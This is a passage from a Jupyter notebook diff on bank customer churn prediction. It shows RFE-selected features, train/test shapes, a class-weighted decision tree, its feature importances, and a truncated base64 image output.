"id": "h_iBjis1pExE", + "outputId": "8259d04b-bdfc-4894-8e43-9e772c70a3c8" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "['IsActiveMember',\n", + " 'country_Germany',\n", + " 'Age',\n", + " 'Balance',\n", + " 'NumOfProducts',\n", + " 'EstimatedSalary',\n", + " 'bal_per_product',\n", + " 'bal_by_est_salary',\n", + " 'tenure_age_ratio',\n", + " 'age_surname_mean_churn']" + ] + }, + "metadata": {}, + "execution_count": 103 + } + ], + "source": [ + "## Features selected from the RFE process\n", + "selected_feats_dt" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 418 + }, + "id": "qlqCbM62pExE", + "outputId": "27099ec1-8a09-4e15-ad72-cc797c93931c" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "((7920, 10), (7920,))" + ] + }, + "metadata": {}, + "execution_count": 104 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "((1080, 10), (1080,))" + ] + }, + "metadata": {}, + "execution_count": 104 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "DecisionTreeClassifier(class_weight={0: 1.0, 1: 3.925373134328358},\n", + " criterion='entropy', max_depth=4, min_samples_leaf=15,\n", + " min_samples_split=25)" + ] + }, + "metadata": {}, + "execution_count": 104 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + " features importance\n", + "2 IsActiveMember 0.476841\n", + "4 country_Germany 0.351863\n", + "0 Gender 0.096402\n", + "6 Age 0.032268\n", + "1 HasCrCard 0.028361\n", + "7 NumOfProducts 0.010400\n", + "5 country_Spain 0.003865\n", + "3 country_France 0.000000\n", + "8 Surname_enc 0.000000\n", + "9 tenure_age_ratio 0.000000" + ], + "text/html": [ + "\n", + "
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2IsActiveMember0.476841
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